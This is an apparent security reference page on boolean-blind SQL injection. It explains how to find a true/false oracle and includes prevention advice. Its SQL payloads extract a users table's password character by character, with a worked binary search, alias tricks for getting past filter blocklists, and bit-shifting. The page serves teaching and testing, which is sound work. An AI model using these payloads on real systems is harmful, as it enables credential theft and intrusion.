Skip to content
highCVSS 8.6CWE-89A03:2021 – Injection

Boolean-Blind Injection

Extracting data one bit at a time by asking yes/no questions and reading the answer from how the page changes.

Overview

When the application shows no query results and no errors, but does behave differently for a true condition than a false one, you have a one-bit oracle. That is enough to read the entire database — slowly.

The difference does not need to be dramatic. Any reliably observable distinction works:

  • results present vs. "no records found"
  • HTTP 200 vs. 302
  • content length differing by a few bytes
  • an element present in one response and absent in the other

Identify the discriminator first and verify it is stable across repeated requests. Everything downstream depends on it being trustworthy.

Building the Oracle

Wrap the condition you want to test in an AND so it gates the original query's result. When your condition is true the query behaves normally; when false it returns nothing.

Establishing the true/false baseline

SQL
-- Baseline: confirm the two states are distinguishable
' AND 1=1-- -    -> product listing renders
' AND 1=2-- -    -> "No products found"

-- Now the condition can be anything:
' AND (SELECT COUNT(*) FROM users)>0-- -           -> is there a users table?
' AND LENGTH((SELECT password FROM users LIMIT 1))>20-- -
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -

Binary search on one character

SQL
-- Resolving character 1 of the password. Range starts at 32-126.
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>79-- -   -> TRUE  (80-126)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>103-- -  -> FALSE (80-103)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>91-- -   -> TRUE  (92-103)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97-- -   -> TRUE  (98-103)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100-- -  -> FALSE (98-100)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>99-- -   -> FALSE (98-99)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>98-- -   -> FALSE (98)
--                                                                        => 'b'

-- Get the length first so you know when to stop:
' AND LENGTH((SELECT password FROM users LIMIT 1))=60-- -

Per-Engine Syntax

SQL
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>79-- -

-- MID() and SUBSTR() are aliases for SUBSTRING() —
-- useful when one name is on a filter blocklist.
' AND ASCII(MID((SELECT password FROM users LIMIT 1),1,1))>79-- -

-- Length
' AND LENGTH((SELECT password FROM users LIMIT 1))=60-- -

Going Faster

Binary search is the baseline. Beyond it:

Bit-shifting. Test individual bits rather than ranges — exactly 7 requests per character, no range bookkeeping: AND (ASCII(SUBSTRING(…,1,1)) >> 6) & 1 = 1.

Narrow the alphabet. If the value is a hex hash the alphabet is 16 characters, so 4 requests each. If it is base64, 6. Knowing the format cuts the work almost in half.

Parallelise. Character positions are independent — resolve them concurrently. Respect rate limits; this is the step most likely to get you blocked or to cause a genuine outage.

Prefer another technique. Boolean-blind is the fallback, not the goal. Re-check whether errors leak anywhere or whether any endpoint reflects results before committing to thousands of requests. sqlmap implements all of the above and is the sane choice for real work.

When the Difference Is Subtle

Sometimes the page looks identical to the eye. Look harder before concluding there is no oracle:

  • Content-Length. A single missing row often changes it.
  • Response time. A true condition that returns rows may be consistently slower.
  • Ordering. With no explicit ORDER BY, injected conditions can change row order even when the set is the same.
  • Downstream effects. A result that feeds a counter, a cache header, or a subsequent redirect may expose the difference indirectly.

If nothing at all varies, move to Time-Blind, which manufactures its own difference.

Prevention

Parameterise. Note that the usual error-suppression mitigation does nothing here — boolean-blind extraction never needed an error message. Uniform error pages do not close this, and neither does hiding query results.

Rate limiting and anomaly detection are worth having as compensating controls, because blind extraction is inherently high-volume and noisy. They buy detection time; they do not fix the bug.